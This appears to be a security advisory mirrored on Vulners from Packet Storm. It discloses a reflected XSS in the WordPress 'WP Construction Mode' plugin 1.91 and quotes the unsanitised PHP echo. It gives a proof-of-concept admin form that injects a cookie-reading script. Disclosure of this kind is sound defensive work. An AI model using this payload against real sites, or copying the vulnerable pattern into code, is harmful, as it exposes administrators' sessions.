Lucene search
K

WordPress WP Construction Mode 1.91 XSS

🗓️ 12 Dec 2014 00:00:00Reported by Morten NortoftType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

WordPress 'WP Construction Mode' plugin - XSS vulnerability version 1.9

Code
`Title: WordPress 'WP Construction Mode' plugin - XSS  
Version: 1.91  
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej  
Date: 2014/12/12  
Download: https://wordpress.org/plugins/wp-construction-mode/  
Contacted vendor: 2014/10/20  
----------------------------------------------------------------  
  
## Plugin description:   
----------------------------------------------------------------  
Set entire website or specific page under construction or maintenance for all viewers except Admin  
  
  
## Reflected XSS:  
----------------------------------------------------------------  
the set_opt parameter is shown unsanitized to the admin user when saving, allowing the injection of arbitrary scripts and HTML.  
  
Vulnerable code:  
if (isset($_REQUEST['act'])) {  
switch ($_REQUEST['act']) {  
case "save":  
set_under_construction();  
echo '<div class="updated below-h2" id="message" style="position:relative; clear:both;"><p>Under Construction: ' . ($_REQUEST['set_opt']) . '</p></div>';  
break;  
default:  
}  
}  
  
PoC:  
Log in as admin and submit the following form.  
  
<form method="POST" action="http://[HOST]/wp-admin/admin.php?page=under-construction.php" enctype="multipart/form-data">  
<input type="text" name="set_opt" value="Yes<script>alert(document.cookie);</script>">  
<input type="text" name="set_page" value="all">  
<input type="text" name="act" value="save">  
<input type="submit">  
</form>  
  
## Solution  
----------------------------------------------------------------  
Update to version 1.92.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation